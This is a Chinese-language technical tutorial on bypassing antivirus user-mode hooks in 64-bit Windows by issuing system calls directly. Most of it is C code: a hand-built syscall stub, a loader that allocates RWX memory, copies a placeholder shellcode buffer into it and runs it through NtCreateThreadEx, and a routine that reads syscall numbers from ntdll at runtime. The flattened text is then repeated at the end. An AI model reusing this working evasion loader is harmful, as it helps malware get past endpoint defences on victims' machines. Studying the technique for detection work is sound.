使用系统调用SYSCALL规避杀软HOOK
字数 868 2025-08-07 08:22:00

使用SYSCALL系统调用规避杀软HOOK的技术详解

0x01 系统调用号基础

在Windows系统中,用户层API函数最终会调用底层系统函数:

VirtualAllocEx -> VirtualAllocExNuma -> ZwAllocateVirtualMemory

这些底层函数都有一个对应的系统调用号(SYSCALL number),例如在Windows 10中:

  • ZwAllocateVirtualMemory对应系统调用号0x18
  • NtWriteVirtualMemory对应0x3a
  • NtCreateThreadEx对应0xc6

系统调用执行流程

典型的系统调用汇编代码:

mov r10, rcx      ; 保存第一个参数
mov eax, 18       ; 系统调用号存入eax
syscall           ; 进入内核层
ret

0x02 直接调用系统调用实现

关键函数系统调用号

函数名 系统调用号
NtAllocateVirtualMemory 0x18
NtWriteVirtualMemory 0x3a
NtCreateThreadEx 0xc6

代码实现模板

char syscall_sc[] = {
    0x4c, 0x8b, 0xd1,       // mov r10, rcx
    0xb8, 0xb9, 0x00, 0x00, 0x00, // mov eax, syscall_num
    0x0f, 0x05,             // syscall
    0xc3                    // ret
};

完整示例代码

#include <stdio.h>
#include <windows.h>
#pragma comment(linker, "/section:.data,RWE")

unsigned char buf[] = "shellcode";

char syscall_sc[] = {
    0x4c, 0x8b, 0xd1,
    0xb8, 0xb9, 0x00, 0x00, 0x00,
    0x0f, 0x05,
    0xc3
};

typedef LPVOID (WINAPI* fnNtAllocateVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect
);

typedef DWORD(WINAPI* fnNtCreateThreadEx)(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    LPVOID ObjectAttributes,
    HANDLE ProcessHandle,
    LPTHREAD_START_ROUTINE lpstartAddress,
    LPVOID lpParameter,
    ULONG CreateThreadFlags,
    SIZE_T ZeroBits,
    SIZE_T StackSize,
    SIZE_T MaximumStackSize,
    LPVOID pUnknow
);

int main()
{
    SIZE_T SIZE = 0x1000;
    LPVOID Address = NULL;
    HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, -1);
    
    // 分配内存
    syscall_sc[4] = 0x18;
    fnNtAllocateVirtualMemory NtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)&syscall_sc;
    NtAllocateVirtualMemory(process, &Address, 0, &SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
    // 写入shellcode
    WriteProcessMemory(process, Address, buf, sizeof(buf), NULL);
    
    // 创建远程线程
    syscall_sc[4] = 0xc6;
    fnNtCreateThreadEx NtCreateThreadEx = (fnNtCreateThreadEx)&syscall_sc;
    HANDLE hRemoteThread;
    DWORD ZwRet = NtCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, process, 
                                 (LPTHREAD_START_ROUTINE)Address, NULL, 0, 0, 0, 0, 0);
}

0x03 动态获取系统调用号

由于不同Windows版本的系统调用号可能不同,需要动态获取:

int GetSysCall(LPCSTR FuncName) {
    SIZE_T num;
    char sc[5];
    // 获取函数地址
    LPVOID FuncPoint = GetProcAddress(GetModuleHandleA("ntdll.dll"), FuncName);
    // 读取函数前5字节
    ReadProcessMemory(GetCurrentProcess(), FuncPoint, &sc, 0x5, &num);
    // 第5字节是系统调用号
    return sc[4];
}

使用示例:

syscall_sc[4] = GetSysCall("NtAllocateVirtualMemory");

0x04 技术优势与防御原理

  1. 绕过用户层Hook:直接调用系统调用,绕过用户层API Hook
  2. 绕过ntdll.dll Hook:不依赖ntdll.dll中的函数实现
  3. 仅限64位系统:SYSCALL指令是64位特性

0x05 参考资源

  1. Windows系统调用号查询:
    https://j00ru.vexillium.org/syscalls/nt/64/
  2. 相关技术文章:
    • https://idiotc4t.com/defense-evasion/overwrite-winapi-bypassav
    • https://idiotc4t.com/defense-/dynamic-get-syscallid

注意事项

  1. 不同Windows版本的系统调用号可能不同
  2. 某些函数(如NtWriteVirtualMemory)涉及内存保护,实现更复杂
  3. 此技术仅适用于64位系统
  4. 实际使用时需要考虑错误处理和边界条件
使用SYSCALL系统调用规避杀软HOOK的技术详解 0x01 系统调用号基础 在Windows系统中,用户层API函数最终会调用底层系统函数: 这些底层函数都有一个对应的系统调用号(SYSCALL number),例如在Windows 10中: ZwAllocateVirtualMemory 对应系统调用号 0x18 NtWriteVirtualMemory 对应 0x3a NtCreateThreadEx 对应 0xc6 系统调用执行流程 典型的系统调用汇编代码: 0x02 直接调用系统调用实现 关键函数系统调用号 | 函数名 | 系统调用号 | |--------|------------| | NtAllocateVirtualMemory | 0x18 | | NtWriteVirtualMemory | 0x3a | | NtCreateThreadEx | 0xc6 | 代码实现模板 完整示例代码 0x03 动态获取系统调用号 由于不同Windows版本的系统调用号可能不同,需要动态获取: 使用示例: 0x04 技术优势与防御原理 绕过用户层Hook :直接调用系统调用,绕过用户层API Hook 绕过ntdll.dll Hook :不依赖ntdll.dll中的函数实现 仅限64位系统 :SYSCALL指令是64位特性 0x05 参考资源 Windows系统调用号查询: https://j00ru.vexillium.org/syscalls/nt/64/ 相关技术文章: https://idiotc4t.com/defense-evasion/overwrite-winapi-bypassav https://idiotc4t.com/defense-/dynamic-get-syscallid 注意事项 不同Windows版本的系统调用号可能不同 某些函数(如NtWriteVirtualMemory)涉及内存保护,实现更复杂 此技术仅适用于64位系统 实际使用时需要考虑错误处理和边界条件